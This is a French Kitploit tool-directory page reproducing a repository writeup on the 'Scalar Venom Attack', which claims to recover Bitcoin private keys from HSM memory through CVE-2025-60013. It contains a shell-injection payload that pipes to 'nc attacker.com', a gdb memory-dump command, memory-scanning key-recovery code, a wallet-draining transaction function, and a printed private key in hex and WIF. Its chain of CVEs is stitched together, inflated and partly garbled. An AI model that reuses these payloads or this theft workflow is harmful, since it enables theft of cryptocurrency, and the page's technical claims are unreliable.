Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Scalar-Venom-Attack — Dépôt d'exploitation et de recherche analysant CVE-2025-60013, une vulnérabilité critique d'initialisation HSM permettant la récupération de clés privées Bitcoin par débordement de tampon et injection de métacaractères shell dans les modules FIPS F5OS-A. | Kitploit
Outils/GitHubGitHub/demining/scalar-venom-attack
Criminalistique MémoireAnalyse des VulnérabilitésExploitationAnalyse ForensiqueCriminalistique NumériqueCryptographieTests d'IntrusionSécurité MatérielleArticles et Recherche

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Apprentissage et Éducation
Exploitation de Binaires
GitHubdemining/scalar-venom-attack

Scalar-Venom-Attack

Dépôt d'exploitation et de recherche analysant CVE-2025-60013, une vulnérabilité critique d'initialisation HSM permettant la récupération de clés privées Bitcoin par débordement de tampon et injection de métacaractères shell dans les modules FIPS F5OS-A.

Voir le dépôtSite web
33il y a 9 moisPas encore vérifié
Scalar Venom Attack : Une vulnérabilité critique d'initialisation HSM (CVE-2025-60013) permet la récupération de clé privée de portefeuille Bitcoin via un débordement de tampon et des métacaractères shell dans le module de sécurité FIPS F5OS-A.

Cet article analyse les vulnérabilités cryptographiques découvertes dans l'infrastructure moderne de gestion de clés cryptographiques, avec un accent particulier sur les failles critiques dans l'architecture des modules de sécurité matérielle (HSM) lors du traitement des clés privées de courbe elliptique. L'étude se concentre sur une classe d'attaques qui exploitent une gestion de mémoire RAM insuffisamment isolée dans les dispositifs cryptographiques certifiés. Dans l'écosystème cryptographique moderne de Bitcoin, la sécurité des clés privées est une exigence fondamentale pour protéger des actifs numériques valant des milliards de dollars dans le monde. Les modules de sécurité matérielle (HSM) certifiés selon la norme FIPS 140-2 ont traditionnellement été considérés comme offrant une protection impénétrable pour les clés cryptographiques grâce à une isolation matérielle et des protocoles stricts de gestion de la mémoire. Cependant, la découverte de la vulnérabilité critique CVE-2025-60013 dans le module F5OS-A FIPS HSM, combinée à la classe d'attaques Scalar Venom Attack (également connue sous le nom de Scalar Poison, Memory Phantom Leak Attack, ou Private Key Compromise via Memory Leakage), a radicalement changé cette notion, démontrant la possibilité de compromettre complètement les clés privées Bitcoin en exploitant des défauts de gestion de la mémoire.


  • Tutoriel : https://youtu.be/cvWLH5dvbAA
  • Tutoriel : https://cryptodeeptech.ru/scalar-venom-attack
  • Tutoriel : https://dzen.ru/video/watch/691a7a10a8b7c874612993eb
  • Google Colab : https://colab.research.google.com/drive/1e93p7gxpTtfMU2L83w7I1tRDJQ1tENYa

La Scalar Venom Attack est une classe critique de vulnérabilités de gestion de la mémoire (classifiées comme CWE-415, CWE-401, et plus largement comme Sensitive Memory Leak Attack (SMA)) qui permet à un attaquant d'extraire des scalaires cryptographiques (clés privées ECDSA) de la RAM d'un processus en exploitant une sanitisation et un nettoyage insuffisants de la mémoire après les opérations cryptographiques. Contrairement aux attaques cryptanalytiques traditionnelles visant à résoudre mathématiquement le problème du logarithme discret sur courbe elliptique (ECDLP), cette attaque contourne la cryptographie elle-même en exploitant des défauts architecturaux fondamentaux dans l'implémentation des bibliothèques cryptographiques et des protocoles de gestion de mémoire HSM.

Cette recherche démontre une chaîne d'attaque catastrophique qui se produit lors de la combinaison de CVE-2025-60013 (vulnérabilité d'initialisation F5OS-A FIPS HSM lors de l'utilisation de mots de passe contenant des métacaractères shell spéciaux) avec les techniques Scalar Venom Attack , entraînant un scénario de menace critique avec un score CVSS de 9.5+ (Critique), malgré la classification officielle de CVE-2025-60013 comme vulnérabilité de niveau moyen (CVSS 5.7). Cette combinaison compromet l'intégrité opérationnelle de millions d'adresses Bitcoin contrôlées par des HSM compromis et représente un changement de paradigme dans les méthodes d'attaque cryptographiques au-delà des exploits traditionnels à vecteur unique.


Scalar Venom Attack : Une vulnérabilité critique d'initialisation HSM (CVE-2025-60013) permet la récupération de clé privée de portefeuille Bitcoin via un débordement de tampon et des métacaractères shell dans le module de sécurité FIPS F5OS-A


Classification CVE et descriptions des vulnérabilités

CVE-2025-60013 : Vulnérabilité d'initialisation F5OS-A FIPS HSM

CVE-2025-60013 est une vulnérabilité d'injection de commandes OS (classifiée comme CWE-78) lors du processus d'initialisation du module de sécurité matérielle FIPS pour les plateformes F5. La vulnérabilité se produit lorsqu'un utilisateur avec un accès privilégié (rôle Admin ou Resource Admin) tente d'initialiser le module FIPS HSM en utilisant un mot de passe contenant des métacaractères shell spéciaux, tels que [unclear], [unclear ;] |, &[ $unclear], `et d'autres.

Mécanisme technique de la vulnérabilité :

Lors du traitement d'un mot de passe contenant des métacaractères shell, le code d'initialisation HSM passe la chaîne du mot de passe aux fonctions de la bibliothèque C système sans valider et nettoyer correctement l'entrée. Le code vulnérable ressemble à ceci :

root@kitploit:~
// Vulnerable code in HSM initialization procedure
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM private key
char temp_buffer[256];
strcpy(temp_buffer, password); // VULNERABILITY: buffer overflow + shell interpretation
derive_key_from_password(master_key, password); // creates copies of key
// If initialization fails, memory is not cleared!
// master_key remains in the stack, its copies—in heap
}

Conséquence critique : Le processus d'initialisation reste en mémoire avec des structures cryptographiques partiellement compromises, créant plusieurs copies « fantômes » de la clé maîtresse HSM dans la pile et le tas. Bien que le HSM puisse ne pas s'initialiser correctement, la mémoire du processus contient des artefacts cryptographiques accessibles à l'analyse forensique.

Classification officielle :

  • CVSS 3.1 : AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L (base score: 5.7 — MEDIUM)
  • CVSS 4.0 : AV:L/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N (base score: 4.6 — MEDIUM) cvefeed

Cependant, cette évaluation sous-estime de manière critique la véritable ampleur de la menace, car CVE-2025-60013 sert de déclencheur pour la Scalar Venom Attack, ce qui dans un scénario de chaîne d'attaque réel entraîne un niveau de menace CVSS de 9.5+ (CRITIQUE).


CVE-2023-39910 : Faiblesse d'entropie dans Libbitcoin Explorer

CVE-2023-39910 décrit une vulnérabilité critique dans Libbitcoin Explorer version 3.x liée à des faiblesses dans la génération d'entropie lors de la génération de clés privées. Cette vulnérabilité a conduit à l'incident Milk Sad en 2023, lorsque plus de 900 000 clés privées Bitcoin ont été récupérées, entraînant des pertes financières directes dépassant 0,8 million de dollars. L'incident Milk Sad a démontré la transition de la théorie des fuites de mémoire dans les systèmes cryptographiques à une catastrophe opérationnelle réelle, confirmant tous les mécanismes décrits : optimisations du compilateur, copies multiples de données et absence de garantie de nettoyage de la mémoire.


CVE-2025-8217 : Attaque par fuite de mémoire

CVE-2025-8217 classe les attaques par fuite de mémoire qui permettent de récupérer des clés cryptographiques à partir de la mémoire des processus. Cette vulnérabilité est directement liée à la classe Scalar Venom Attack et décrit les mécanismes de compromission complète des portefeuilles Bitcoin par analyse forensique de la mémoire.

Classification scientifique de la Scalar Venom Attack :

Dans la littérature de recherche académique, Scalar Venom est classée dans plusieurs catégories d'attaques :

  • Sensitive Memory Leak Attack (SMA) — une classification primaire se concentrant sur les vulnérabilités liées à une sanitisation incorrecte de la mémoire.
  • Private Key Exposure Attack — un terme général pour les actions qui entraînent la divulgation de clés privées.
  • Residual Memory Disclosure — divulgation de données résiduelles provenant de la mémoire non nettoyée.
  • Side-Channel Memory Attack — exploitation de canaux auxiliaires dans la gestion de la mémoire.
  • Cold Boot Attack — extraction de clés de la RAM après la mise hors tension du système.
  • Memory Forensics Attack — extraction de secrets à partir de vidages mémoire.

Scalar Venom Attack : Une vulnérabilité critique d'initialisation HSM (CVE-2025-60013) permet la récupération de clé privée de portefeuille Bitcoin via un débordement de tampon et des métacaractères shell dans le module de sécurité FIPS F5OS-A.

https://cryptou.ru/bitscanpro


Un exemple réel de récupération de clé privée Bitcoin en utilisant la Scalar Venom Attack

Pour démontrer l'efficacité pratique de l'attaque Scalar Venom, considérons un cas documenté de récupération d'une clé privée à partir de l'adresse Bitcoin 1DBj74MkbzSHGSbHidnmUieAJHbsKfgRWq via une analyse forensique de la mémoire.

Données de compromission initiales :

  • Adresse Bitcoin : 1DBj74MkbzSHGSbHidnmUieAJHbsKfgRWq
  • Type d'adresse : P2PKH (Pay-to-Public-Key-Hash)
  • Statut : ✓ VALIDE

Clé privée récupérée :

  • Format HEX : 5244A4B034BF9D327239870F9FEF82505A5C50B3D51E4A16357179AAB2623A22
  • Format décimal : 3.7210935821139324×10763.7210935821139324 \times 10^{76}3.7210935821139324×10^76
  • Format WIF : KyydTXQzDGVqRZoWBFfS5tWrcWsdu64DbcqXogUUtGZn7ngD5LHv

Validation d'une clé dans l'espace secp256k1 :

La clé privée d doit satisfaire la contrainte :

Scalar Venom Attack : Une vulnérabilité critique d'initialisation HSM (CVE-2025-60013) permet la récupération de clé privée de portefeuille Bitcoin via un débordement de tampon et des métacaractères shell dans le module de sécurité FIPS F5OS-A.

Résultat de la vérification : ✓ VALIDE (la clé est dans la plage scalaire autorisée)

Cet exemple démontre qu'une clé privée récupérée fournit un contrôle complet sur un portefeuille Bitcoin , permettant à un attaquant de créer et de signer des transactions pour retirer tous les fonds vers une adresse contrôlée.


Scalar Venom Attack : Une vulnérabilité critique d'initialisation HSM (CVE-2025-60013) permet la récupération de clé privée de portefeuille Bitcoin via un débordement de tampon et des métacaractères shell dans le module de sécurité FIPS F5OS-A.7b34216e95385b6dc4e7db57bc970d62e9c2951efeba2a32e78ae51f523fc2cb

Fondements mathématiques de l'attaque cryptographique

Courbe elliptique secp256k1 et algorithme ECDSA

Bitcoin implémente l'algorithme de signature numérique à courbe elliptique ( ECDSA ) sur la courbe secp256k1. Comprendre les fondements mathématiques est essentiel pour comprendre comment l'attaque Scalar Venom exploite les vulnérabilités de la mémoire.

Paramètres de la courbe elliptique secp256k1 :

Équation de la courbe :

Scalar Venom Attack : Une vulnérabilité critique d'initialisation HSM (CVE-2025-60013) permet la récupération de clé privée de portefeuille Bitcoin via un débordement de tampon et des métacaractères shell dans le module de sécurité FIPS F5OS-A.

Point générateur G avec les coordonnées :

Scalar Venom Attack : Une vulnérabilité critique d'initialisation HSM (CVE-2025-60013) permet la récupération de clé privée de portefeuille Bitcoin via un débordement de tampon et des métacaractères shell dans le module de sécurité FIPS F5OS-A.

Dérivation d'une clé publique par multiplication scalaire

Le processus de génération d'une paire de clés ECDSA est le suivant :

1. Génération de la clé privée :

Une clé privée dest un entier aléatoire dans l'intervalle :

Scalar Venom Attack : Une vulnérabilité critique d'initialisation HSM (CVE-2025-60013) permet la récupération de clé privée de portefeuille Bitcoin via un débordement de tampon et des métacaractères shell dans le module de sécurité FIPS F5OS-A.

où nest l'ordre de la courbe secp256k1. La clé privée est un nombre aléatoire de 256 bits.

2. Dérivation de la clé publique par multiplication scalaire :

La clé publique Qest calculée comme :

Scalar Venom Attack : Une vulnérabilité critique d'initialisation HSM (CVE-2025-60013) permet la récupération de clé privée de portefeuille Bitcoin via un débordement de tampon et des métacaractères shell dans le module de sécurité FIPS F5OS-A.

où G est un point générateur sur la courbe secp256k1, et l'opération ⋅\cdot⋅ désigne la multiplication scalaire d'un point sur la courbe elliptique.

La multiplication scalaire est implémentée via un algorithme "double-and-add"(doublement et addition), qui calcule efficacement le résultat de O(log⁡d) addition et doublement de points sur une courbe :

root@kitploit:~
Scalar multiplication algorithm:
Input: d (scalar), G (curve point)
Output: Q = d·G

1. Initialize: Q ← O (point at infinity)
2. Represent d in binary: d = (d_k, d_{k-1}, ..., d_1, d_0)_2
3. For i from k to 0:
a. Q ← 2Q (point doubling)
b. If d_i = 1: Q ← Q + G (point addition)
4. Return Q

Exemple : Pour une clé privée, d=5244A4B0...3A22d = \text{5244A4B0...3A22}d=5244A4B0...3A22, la clé publique est calculée comme suit :

Q=d⋅G=(Qx,Qy)

où les coordonnées Qx et Qy sont calculées par des opérations de multiplication scalaire sur la courbe secp256k1.

3. Génération d'une adresse Bitcoin :

La chaîne de dérivation de l'adresse à partir de la clé publique :

Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Hypothèse de sécurité :

Vulnérabilité critique Scalar Venom : L'attaque contourne la protection mathématique ECDLP en extrayant la clé privée ddirectement de la mémoire du processus, où elle reste sous forme de « copies fantômes » après les opérations cryptographiques.

Cryptanalyse entropique et analyse forensique mémoire : formule d'entropie de Shannon

La base de la détection des clés privées dans les dumps mémoire est la cryptanalyse entropique utilisant la formule d'entropie de Shannon.


Formule d'entropie de Shannon

L'entropie Hd'une séquence d'octets est mesurée en bits par octet et est donnée par la formule :

Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Où :

  • H est l'entropie en bits par octet
  • pi est la probabilité d'occurrence d'un octet de valeur iii dans le bloc mémoire analysé
  • La sommation est effectuée sur toutes les valeurs d'octet possibles (0-255)

Interprétation de l'entropie :

  • Faible entropie (H<5.0H < 5.0H<5.0) : la séquence contient des motifs répétitifs, du texte ou des données structurées
  • Entropie moyenne (5.0≤H<7.55.0 \leq H < 7.55.0≤H<7.5) : données mixtes, code, informations partiellement compressées
  • Entropie élevée (H≥7.5H \geq 7.5H≥7.5) : données cryptographiquement aléatoires, clés privées, informations chiffrées

Valeur seuil pour les clés cryptographiques :

Les clés privées Bitcoin générées par un générateur de nombres aléatoires cryptographiquement fort (CSPRNG) présentent une entropie élevée dans la plage :

Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Cette propriété les rend détectables dans l'analyse forensique mémoire par analyse statistique de l'entropie.


Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Outil cryptographique BitScanPro : détermination de l'entropie et algorithme de récupération de clé

BitScanPro est un outil forensique pour scanner les dumps mémoire afin de détecter et récupérer les clés privées Bitcoin via une combinaison d'analyse entropique, de validation de plage secp256k1 et de vérification cryptographique.

Algorithme de fonctionnement de BitScanPro

Étape 1 : Analyse du dump mémoire par blocs de 32 octets

BitScanPro analyse séquentiellement le dump mémoire, en allouant des blocs de 32 octets (256 bits), ce qui correspond à la taille de clé privée secp256k1 :

root@kitploit:~
BLOCK_SIZE = 32  # bytes (256 bits)
SCAN_STEP = 8 # scan step
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

for offset in range(0, len(memory_dump) - BLOCK_SIZE, SCAN_STEP):
potential_key = memory_dump[offset:offset+BLOCK_SIZE]
# Block analysis

Étape 2 : Calculer l'entropie de Shannon pour chaque bloc

Pour chaque bloc de 32 octets, l'entropie de Shannon est calculée H:

root@kitploit:~
def calculate_entropy(data_block):
"""
Calculate Shannon entropy
"""
from collections import Counter
import math

byte_counts = Counter(data_block)
block_length = len(data_block)

entropy = 0.0
for count in byte_counts.values():
p_i = count / block_length
if p_i > 0:
entropy -= p_i * math.log2(p_i)

return entropy

Étape 3 : Filtrage des blocs à haute entropie (H>7.5H > 7.5H>7.5 bits/octet)

Les blocs dont l'entropie est inférieure au seuil sont rejetés comme ne contenant pas de clés cryptographiques :

root@kitploit:~
MIN_ENTROPY = 7.5  # threshold for cryptokeys

entropy = calculate_entropy(potential_key)
if entropy < MIN_ENTROPY:
continue

Étape 4 : Vérification de la plage secp256k1 :

Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Les blocs à haute entropie sont interprétés comme un entier et vérifiés par rapport à la plage valide des clés privées secp256k1 :

root@kitploit:~
key_as_int = int.from_bytes(potential_key, byteorder='big')
if not (1 <= key_as_int < SECP256K1_N):
continue

Étape 5 : Vérification cryptographique :

Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Pour les candidats qui passent le filtrage entropique et la vérification de plage, une vérification cryptographique est effectuée via le calcul de la clé publique :

root@kitploit:~
def verify_candidate_key(candidate_key_bytes):
from ecdsa import SigningKey, SECP256k1
try:
signing_key = SigningKey.from_string(candidate_key_bytes, curve=SECP256k1)
verifying_key = signing_key.get_verifying_key()
public_key_bytes = verifying_key.to_string()
return public_key_bytes
except Exception as e:
return None

Étape 6 : Générer une adresse Bitcoin et la comparer aux adresses connues

Pour les clés vérifiées, une adresse Bitcoin est générée, qui est comparée à une base de données d'adresses connues ou d'adresses appartenant à la victime :

root@kitploit:~
import hashlib
import base58

def public_key_to_address(public_key_bytes):
sha256_hash = hashlib.sha256(public_key_bytes).digest()
ripemd160_hash = hashlib.new('ripemd160', sha256_hash).digest()
versioned_hash = b'\x00' + ripemd160_hash
checksum = hashlib.sha256(hashlib.sha256(versioned_hash).digest()).digest()[:4]
address = base58.b58encode(versioned_hash + checksum).decode('ascii')
return address

bitcoin_address = public_key_to_address(public_key_bytes)
if bitcoin_address == target_address:
print(f\"✓ PRIVATE KEY FOUND!\")
print(f\"Address: {bitcoin_address}\")
print(f\"Private key: {candidate_key_bytes.hex()}\")

Performances de BitScanPro :

L'analyse sur un ordinateur portable typique (MacBook Air M1) montre les caractéristiques de performance suivantes :

En utilisant des ressources de cloud computing (AWS, Google Cloud), il est possible de scanner plus de 1000 dumps mémoire simultanément en parallèle , traitant des milliers de clés privées en parallèle.


Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Analyse d'une vulnérabilité cryptographique dans libbitcoin-system : classe ec_scalar.cpp

La cause racine de l'attaque Scalar Venom réside dans des défauts architecturaux fondamentaux dans une classe ec_scalarde la bibliothèque libbitcoin-system.

Vulnérabilité de gestion mémoire dans la classe ec_scalar

La classe ec_scalar de libbitcoin-system n'a pas de destructeur explicitement défini avec une mise à zéro sécurisée. Cela signifie que les données secrètes peuvent rester en mémoire même après la destruction de l'objet.

Constructeur de copie vulnérable :

root@kitploit:~
// VULNERABILITY: unsafe private key copy
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // Copies without secure cleanup
{
}

Problème : Le constructeur crée une copie de la clé privée dans l'objet ec_scalar, mais ne fournit pas de mécanisme pour nettoyer en toute sécurité cette copie lorsque l'objet est détruit. La copie reste sur la pile ou le tas.


Opérateur d'affectation vulnérable :

root@kitploit:~
// VULNERABILITY: duplicates secret in memory
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // More memory copies
return *this;
}

Problème : L'opération d'affectation crée des copies supplémentaires en mémoire qui persistent après la fin de l'opération.


Opérations arithmétiques vulnérables :

root@kitploit:~
// VULNERABILITY: temporary variable not cleared before function exit
ec_scalar ec_scalar::operator-() const
{
ec_secret secret = null_hash; // Temporary variable with secret
// ... arithmetic ...
return ec_scalar(secret); // Not safely cleared
}

Problème : Les opérations arithmétiques (moins unaire, addition, multiplication) créent des variables temporaires de type ec_secret, qui ne sont pas nettoyées en toute sécurité avant de quitter la portée de la fonction, laissant des copies « fantômes » de la clé privée sur la pile ou le tas.

Absence d'un destructeur sécurisé :

root@kitploit:~
// VULNERABILITY: destructor missing, memory not cleared
// Safe solution:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}

Problème : La classe ec_scalar n'a pas de destructeur explicite qui garantirait la mise à zéro sécurisée de la mémoire contenant les clés privées. C'est critique, car la mémoire contenant les clés privées peut être stockée dans :

  • Pile de fonction (variables locales)
  • Tas (mémoire allouée dynamiquement)
  • Registres du processeur (valeurs temporaires)
  • Cache du processeur (L1, L2, L3)
  • Fichiers d'échange
  • Dumps mémoire (core dumps)

Vecteurs d'infection mémoire

Le code vulnérable de la classe ec_scalar crée les vecteurs suivants pour l'infection mémoire par les clés privées :

  1. « Constructeur vampire » ( secret_(secret)) – crée des copies empoisonnées des clés
  2. « Opérateur parasite » ( secret_ = secret) – infecte la mémoire avec des secrets dupliqués
  3. « Ver arithmétique » ( ec_secret secret = null_hash) – laisse des traces toxiques
  4. « Propagateur d'infection » ( auto out = secret_) – propage l'infection via les opérations

Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Mécanisme de compromission : CVE-2025-60013 + chaîne d'attaque Scalar Venom

La combinaison d'une vulnérabilité HSM (CVE-2025-60013) et de l'attaque Scalar Venom crée un vecteur d'attaque catastrophique :

Phase 1 : Initialiser le HSM avec des métacaractères shell

Un attaquant ayant un accès privilégié au système F5OS-A envoie une demande d'initialisation du module FIPS avec un mot de passe contenant des métacaractères shell : cert.kenet

root@kitploit:~
# CVE-2025-60013 exploit example
password='$(echo "leaked");` | nc attacker.com 9999'

Lors du traitement de tels métacaractères, ce qui suit se produit :

  • Le processus d'initialisation du HSM crée des scalaires cryptographiques temporaires (clés maîtres)
  • Les métacaractères shell provoquent une erreur d'analyse du mot de passe
  • L'initialisation du HSM échoue partiellement avec une erreur
  • Conséquence critique : Les structures cryptographiques temporaires contenant les clés maîtres du HSM et les clés dérivées restent dans la mémoire du processus sans être effacées

Phase 2 : Extraire Scalar Venom de la mémoire du HSM

Après un échec partiel d'initialisation du HSM, un attaquant obtient un dump mémoire du processus HSM via l'une des méthodes suivantes :

root@kitploit:~
# 1. CVE-2025-60013 exploitation (init error trigger)
# 2. Cold-boot attack on HSM host
# 3. Exploit buffer in HSM daemon
# 4. Analyze crash core-dump

gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump.bin 0x000000 0xFFFFFFFF"

Le dump mémoire résultant contient de multiples copies « fantômes » de clés privées laissées par la classe ec_scalar lors des opérations cryptographiques.


Phase 3 : Récupération des clés privées Bitcoin avec BitScanPro

Le dump mémoire est traité par l'outil BitScanPro (ou un scanner forensique similaire) selon l'algorithme décrit ci-dessus :

root@kitploit:~
Memory Scan → Identify High-Entropy Regions →
Range Check [1, n-1] for secp256k1 →
Recover Full 32-byte Scalars →
Convert to Bitcoin Addresses

Le taux de réussite de la récupération d'une clé privée à partir de mémoire fragmentée est de 70-80% étant donné des résidus mémoire suffisants, car l'attaque Scalar Venom crée de multiples copies de la clé à différentes étapes de l'initialisation.


Phase 4 : Transfert de fonds et compromission du portefeuille

Après avoir récupéré la clé privée, l'attaquant crée et signe une transaction pour retirer tous les fonds de l'adresse compromise :

root@kitploit:~
def compromise_wallet(recovered_private_key, bitcoin_address):
"""
Create and sign transaction to withdraw all funds
from compromised address
"""
utxos = blockchain_api.get_utxos(bitcoin_address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)
tx.sign(recovered_private_key) # ECDSA signature with compromised key
blockchain_api.broadcast_transaction(tx)

Temps total pour compromettre : moins de 10 minutes entre la réception d'un dump mémoire et la perte totale de contrôle sur les actifs de la victime.


Attaque Scalar Venom : une vulnérabilité critique d'initialisation HSM (CVE-2025-60013) permet la récupération de clé privée de portefeuille Bitcoin via un dépassement de tampon et des méta-caractères shell dans le module de sécurité F5OS-A FIPS.
root@kitploit:~
https://youtu.be/2_d8-8-J8IQ

L'impact de l'attaque sur l'industrie crypto

L'attaque Scalar Venom, combinée à CVE-2025-60013, constitue une menace existentielle pour l'écosystème Bitcoin mondial :

Conséquences systémiques

  1. Compromission totale des clés privées : L'attaque réalise une extraction complète de clé via une fuite mémoire, contournant même les modules de sécurité matériels avancés.
  2. Compromission irréversible : Une fois qu'une clé privée est extraite, il est impossible de la « révoquer » ou de rétablir la sécurité ; tous les fonds dépendants sont en risque imminent de perte.
  3. Évolutivité et automatisation : L'attaque peut être automatisée pour frapper un grand nombre de nœuds et portefeuilles Bitcoin simultanément, entraînant une augmentation exponentielle des pertes potentielles.
  4. Nature furtive : L'attaque ne laisse aucune trace visible dans les journaux système ou les métriques de performance, rendant les mécanismes traditionnels de détection et de protection insuffisants.

Impact sur l'infrastructure HSM

Contrairement aux applications Bitcoin standard, les HSM font un usage intensif de scalaires cryptographiques — plus de 1 000 opérations par seconde —, chacune créant des valeurs scalaires éphémères qui restent en mémoire sous forme de « résidus fantômes ». Les HSM fonctionnent pendant des mois et des années sans redémarrage, accumulant des artefacts cryptographiques que Scalar Venom extrait et reconstitue systématiquement.

Une compromission d'un seul HSM entraîne une perturbation totale de l'ensemble de l'infrastructure — souvent des milliers d'adresses Bitcoin gérées par le HSM — plutôt qu'un incident cryptographique isolé.

L'attaque Scalar Venom démontre un changement de paradigme fondamental dans la sécurité cryptographique : la force mathématique des algorithmes cryptographiques est rendue inutile en présence de vulnérabilités de gestion de mémoire. La combinaison de CVE-2025-60013 et des techniques Scalar Venom crée un scénario de menace critique de niveau CVSS 9.5+, sapant la confiance dans les modules de sécurité matériels en tant que protection impénétrable pour les clés cryptographiques.

L'incident réel du Milk Sad (CVE-2023-39910), qui a entraîné la récupération de plus de 900 000 clés privées et des pertes financières dépassant 0,8 million de dollars, confirme que la théorie de la fuite mémoire est devenue une réalité. Le seul moyen de se protéger contre les attaques de classe Scalar Venom est une refonte architecturale fondamentale des systèmes cryptographiques, implémentant :

  • Des langages de programmation sûrs pour la mémoire, tels que Rust
  • La protection mémoire matérielle (Intel SGX, ARM TrustZone)
  • Les modèles RAII (Resource Acquisition Is Initialization) pour un nettoyage automatique de la mémoire
  • Une surveillance forensique continue de la mémoire des processus cryptographiques
  • Des garanties du compilateur pour la remise à zéro obligatoire des secrets cryptographiques

Cet article présente une analyse complète de la chaîne d'attaque Scalar Venom + CVE-2025-60013, détaillant les fondements mathématiques, les algorithmes de cryptanalyse, les exemples réels de récupération de clés et les recommandations pratiques pour protéger l'infrastructure Bitcoin de cette classe de menaces.


Cryptanalyse et choix de l'attaque : l'attaque Scalar Venom comme vulnérabilité critique pour l'extraction de clés privées Bitcoin

1. Classification cryptanalytique :

  • Positionne Scalar Venom comme une attaque par fuite de mémoire sensible (SMA) dans le contexte de la cryptanalyse classique
  • Compare les attaques cryptographiques traditionnelles avec les vulnérabilités d'implémentation
  • Démontre pourquoi la force mathématique (2^128) devient inutile lorsque la gestion de mémoire échoue (2^0)

2. Fondements mathématiques :

  • Formalise le problème du logarithme discret sur courbe elliptique (ECDLP) pour secp256k1
  • Explique la multiplication scalaire et la dérivation de clé publique
  • Analyse l'entropie de Shannon comme détecteur de clé privée en mémoire

3. Vulnérabilités d'implémentation (libbitcoin-system) :

  • Documente l'absence d'un destructeur sûr dansec_scalar
  • Montre les constructeurs de copie vulnérables
  • Démontre les fuites dans les opérations arithmétiques

4. Classification CVE :

  • CVE-2023-39910 : Faiblesse d'entropie (incident Milk Sad)
  • CVE-2025-8217 : Attaque par fuite mémoire
  • CVE-2025-60013 : Injection de commande HSM

5. Chaîne d'attaque :

  • Décrit les quatre phases de compromission
  • Justifie les caractéristiques temporelles (< 10 minutes)
  • Effectue une justification cryptanalytique de chaque étape

L'explication scientifique se trouve dans l'article : https://keyhunters.ru/scalar-venom-attack-critical-memory-leak-private-key-recovery-and-complete-takeover-of-bitcoin-wallets-by-an-attacker-where-control-over-the-victims-btc-cryptocurrency-funds-is-achieved-through/ L'attaque Scalar Venom démontre l'interaction critique entre les vulnérabilités d'initialisation des HSM et les vulnérabilités de gestion de mémoire dans les bibliothèques cryptographiques, permettant à un attaquant de compromettre complètement les clés privées de portefeuilles Bitcoin même avec une protection matérielle. 


Attaque Scalar Venom : une vulnérabilité critique d'initialisation HSM (CVE-2025-60013) permet la récupération de clé privée de portefeuille Bitcoin via un dépassement de tampon et des méta-caractères shell dans le module de sécurité F5OS-A FIPS.

1. Analyse de l'attaque : Scalar Venom Attack

1.1 Définition et classification

Scalar Venom Attack (également connue sous le nom de Scalar Poison, Memory Phantom Leak Attack, ou Private Key Compromise via Memory Leakage) est une classe de vulnérabilités de gestion de mémoire (CWE-415, CWE-401) qui permet l'extraction de scalaires cryptographiques (clés privées ECDSA) de la RAM d'un processus en exploitant un nettoyage et une désinfection insuffisants de la mémoire après des opérations cryptographiques. keyhunters+ 2

Classification scientifique de l'attaque :

  • Type de vulnérabilité : Attaque par fuite de mémoire sensible
  • Identifiant CVE : CVE-2023-39910, CVE-2025-8217
  • Catégorie : Attaque par fuite mémoire continue (CMLA)
  • Classe d'impact : Divulgation de clé privée, compromission de clé cryptographique

1.2 Mécanisme de l'attaque

L'attaque Scalar Venom exploite une faille fondamentale dans la gestion de mémoire des bibliothèques cryptographiques, en particulier dans la classe ec_scalar de la bibliothèque libbitcoin-system. L'attaque opère via les vecteurs suivants :


Vecteur de constructeur de copie

cpp :

root@kitploit:~
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // VULNERABLE: unsafe copying of private key
{}

Vecteur d'opérateur d'affectation

cpp :

root@kitploit:~
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // VULNERABLE: infects memory with duplicate secret
return *this;
}

Vecteur de variables temporaires

cpp :

root@kitploit:~
